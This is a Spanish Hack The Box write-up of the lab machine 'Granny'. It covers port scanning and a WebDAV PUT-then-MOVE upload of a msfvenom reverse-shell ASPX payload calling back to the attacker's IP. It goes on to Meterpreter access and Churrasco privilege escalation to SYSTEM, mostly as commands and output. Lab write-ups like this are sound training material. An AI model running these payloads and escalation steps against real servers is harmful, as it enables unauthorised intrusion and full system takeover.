Granny
Hack The Box — Metodología Detallada
Granny
| IP: | 10.129.95.234 |
| OS: | Windows |
| Dificultad: | Easy |
| Fecha: | 10 de julio de 2026 |
Reconocimiento
Escaneo inicial
Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.
# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.95.234 -oG allPorts
# Output
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 127
Se identificó un único puerto abierto, el puerto 80 (HTTP), siendo el servicio web el único vector de ataque disponible en esta máquina.
Hipótesis: se realizaró un escaneo de versiones del puerto para identificar el software exacto y determinar si presentaba vulnerabilidades conocidas.
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-webdav-scan:
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE,
PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
| Server Type: Microsoft-IIS/6.0
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY,
MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| WebDAV type: Unknown
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
|_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND
PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Hallazgo: el servidor ejecuta Microsoft IIS 6.0 con WebDAV habilitado. Los métodos HTTP expuestos sin autenticación incluyen PUT (subida de archivos) y MOVE (renombrar archivos). Esta combinación permite subir un archivo con una extensión permitida y luego renombrarlo a una extensión ejecutable para obtener RCE.
Se identificó el framework de la aplicación web para determinar qué tipo de archivo puede ejecutar el servidor:
curl -I http://10.129.95.234
X-Powered-By: ASP.NET
Al confirmar que el framework es ASP.NET, se determinó que el servidor puede ejecutar archivos .aspx y .asp. Esta información es crítica para el vector de explotación: permite saber a qué extensión renombrar el payload después de subirlo.

Explotación
Generación del payload y subida por WebDAV
Se generó un payload ASPX con msfvenom. Dado que el servidor bloquea la
subida directa de archivos .aspx vía PUT, se subió con extensión
.txt y luego se renombró con el método MOVE:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.163 LPORT=4444
-f aspx -o shell.aspx
# Subir con extension .txt para evitar el bloqueo de IIS:
curl -X PUT http://10.129.95.234/shell.txt --data-binary @shell.aspx
# Renombrar a .aspx con el metodo MOVE:
curl -X MOVE http://10.129.95.234/shell.txt -H "Destination: http://10.129.95.234/shell.aspx"
Ninguno de los dos comandos devolvió error, confirmando que la subida y el renombrado fueron exitosos.
Obtención de Meterpreter
Se preparó el listener en Metasploit y se ejecutó el payload accediendo al archivo desde el navegador:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.15.163
set LPORT 4444
run
curl http://10.129.95.234/shell.aspx
[*] Sending stage (199238 bytes) to 10.129.95.234
[*] Meterpreter session 1 opened (10.10.15.163:4444 -> 10.129.95.234:1030)
meterpreter > getuid
Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > getprivs
Enabled Process Privileges
==========================
SeAssignPrimaryTokenPrivilege
SeAuditPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeImpersonatePrivilege
SeIncreaseQuotaPrivilege
Hallazgo: se obtuvo sesion de Meterpreter como
NT AUTHORITY\NETWORK SERVICE con el privilegio
SeImpersonatePrivilege habilitado. Antes de intentar la escalada se
verificó la arquitectura y versión del sistema para seleccionar la
herramienta correcta:
c:\windows\system32\inetsrv> echo %PROCESSOR_ARCHITECTURE%
x86
c:\windows\system32\inetsrv> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
OS Name: Microsoft(R) Windows(R) Server 2003, Standard Edition
OS Version: 5.2.3790 Service Pack 2 Build 3790
Observación: el sistema es Windows Server 2003 x86. La cuenta
NETWORK SERVICE y la arquitectura x86 determinan la herramienta de
escalada: Churrasco, que es específico para Windows 2003/XP y
requiere que el proceso corra como NETWORK SERVICE — exactamente el
caso de esta máquina.
Escalada de Privilegios
Preparación de herramientas
Se generó un segundo payload x86 para recibir la shell privilegiada y se subieron ambas herramientas:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.163 LPORT=5555
-f exe -o shell2.exe
meterpreter > upload churrasco.exe C:\\Windows\\Temp\\churrasco.exe
meterpreter > upload shell2.exe C:\\Windows\\Temp\\shell2.exe
Escalada con Churrasco
Con el segundo listener activo en el puerto 5555, se ejecutó Churrasco desde la shell:
meterpreter > shell
c:\windows\system32\inetsrv> C:\Windows\Temp\churrasco.exe -d "C:\Windows\Temp\shell2.exe"
/churrasco/--> Current User: NETWORK SERVICE
/churrasco/--> Getting Rpcss PID ...
/churrasco/--> Found Rpcss PID: 668
/churrasco/--> Found SYSTEM token 0x72c
/churrasco/--> Running command with SYSTEM Token...
/churrasco/--> Done, command should have ran as SYSTEM!
meterpreter > shell
C:\DOCUME~1\NETWOR~1\LOCALS~1\Temp> whoami
nt authority\system
Observación: en Windows Server 2003 el directorio de usuarios es
Documents and Settings (abreviado como DOCUME~1) en lugar de Users
como en versiones modernas de Windows.
Reflexión Final
Qué salió bien
-
Se identificó el framework ASP.NET mediante el header
X-Powered-Byantes de intentar la subida, lo que permitió seleccionar la extensión correcta del payload. -
La estrategia PUT + MOVE para eludir el bloqueo de extensiones de IIS fue ejecutada correctamente desde el primer intento.
-
Se seleccionó Churrasco de forma correcta y automática al identificar Windows Server 2003 x86 con cuenta
NETWORK SERVICE— combinación exacta que requiere esta herramienta.
Qué salió mal o costó más
-
La primera versión de shell2.exe enviada causó una sesión inválida en Meterpreter. Se resolvió especificando explícitamente la arquitectura x86 en msfvenom con el flag
-a x86. -
El directorio
Documents and Settingsde Windows Server 2003 requirió navegar manualmente para encontrar las flags, ya que la rutaC:\Usersno existe en esta versión del sistema operativo.
Lecciones aprendidas
-
El header
X-Powered-By: ASP.NETen la respuesta HTTP revela el framework de la aplicación y determina qué extensiones puede ejecutar el servidor. -
IIS 6.0 bloquea la subida directa de archivos .aspx y .asp vía WebDAV PUT. El bypass consiste en subir el archivo con extensión permitida (
.txt) y luego usar el método HTTP MOVE para renombrarlo a la extensión ejecutable. -
Churrasco es la herramienta correcta cuando se cumplen tres condiciones: Windows 2003/XP, arquitectura x86 y proceso corriendo como
NETWORK SERVICE. Es incompatible con identidades de application pool de IIS. -
En Windows Server 2003 el directorio de usuarios es
C:\Documents and Settings(noC:\Users). Las rutas con espacios se abrevian con la notación 8.3 (DOCUME~1). -
Siempre verificar
%PROCESSOR_ARCHITECTURE%antes de generar payloads para Windows — asegura que el payload sea compatible con el sistema objetivo.
Tiempo total
Tiempo total invertido en la resolución de la máquina: aproximadamente 50 Minutos.